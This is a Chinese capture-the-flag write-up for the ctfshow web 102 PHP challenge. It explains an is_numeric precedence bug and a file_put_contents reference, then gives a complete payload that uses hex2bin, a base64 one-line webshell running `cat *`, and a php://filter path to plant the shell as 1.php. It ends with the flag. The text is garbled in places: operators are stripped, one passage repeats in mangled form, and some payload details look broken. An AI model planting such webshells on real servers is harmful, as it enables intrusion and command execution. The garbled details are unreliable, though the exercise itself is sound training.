ctf show web入门102
这是一道考查php特性的题目先看源代码其中有一行内容为$v4is_numeric($v2)andis_numeric($v3);在php中赋值运算符的优先级高于逻辑运算符and所以这段代码的执行逻辑为($v4is_numeric($v2))andis_numeric($v3);这意味着只要is_numeric($v2)返回的为true$4就会被赋值为true$ssubstr($v2,2);$strcall_user_func($v1,$s);substr($v2, 2) 会切掉v2的前两个字符calluserfunc(v2 的前两个字符 call_user_func(v2的前两个字符calluserfunc(v1, $s) 是一个危险的回调函数相当于执行v1(v1(v1(s)。因为 $v2 必须通过 is_numeric() 检查所以 $v2 的前两个字符必须是数字或者能让整个字符串被识别为数字的结构。echo$str;file_put_contents($v3,$str);file_put_contents() 是 PHP中用于将数据写入文件的函数。它的主要特点是一次性完成写入操作无需手动打开、写入、关闭文件。 基本语法 phpfile_put_contents(string $filename, mixed $data, int $flags 0,resource $context ?): int|false参数说明$filename要写入的文件路径。 $data要写入的数据可以是字符串、数组会直接拼接或流资源。 $flags可选可组合 FILE_USE_INCLUDE_PATH在 include 路径中查找文件、FILE_APPEND追加而非覆盖、LOCK_EX写入时获得独占锁。 $context可选流上下文用于修改流行为。返回值成功时返回写入的字节数int。 失败时返回 false。特点自动处理文件打开、写入、关闭。 默认行为是覆盖文件内容除非使用 FILE_APPEND 标志。 如果文件不存在会尝试创建它目录必须存在。 支持二进制数据安全与 fwrite() 类似。示例 php// 覆盖写入 file_put_contents(‘test.txt’, ‘Hello World’);// 追加写入 file_put_contents(‘log.txt’, date(‘Y-m-d H:i:s’) . “\n”,FILE_APPEND | LOCK_EX);// 写入数组 $arr [‘line1’, ‘line2’]; file_put_contents(‘list.txt’,$arr); // 输出 “line1line2”我们的目标是往 $v3文件名写入 WebShell。因为 $v1 和 $s 都受我们控制我们可以调用 PHP 的 hex2bin 函数。把 $v1 设置为 hex2bin。把 $s 设为一句话木马但是因为这里php版本是7.3所以不能将$2写成以0x开头的由一句话木马转为的16进制了这里我们可以构造木马为?cat *;经过base64加密后为PD89YGNhdCAqYDs再进过字符转16进制为5044383959474e6864434171594473这里就只有一个e所以会被当成科学计数法从而绕过限制此时我们构造payloadv1hex2bin通过post方式传参v2115044383959474e6864434171594473v3php://filter/writeconvert.base64-encode/resource1.php通过get方式传参然后访问1.php发现上传成功访问该网站源代码得到flag为ctfshow{bf2e6b88-3cd0-49c4-8ba6-cdef7c15c16f}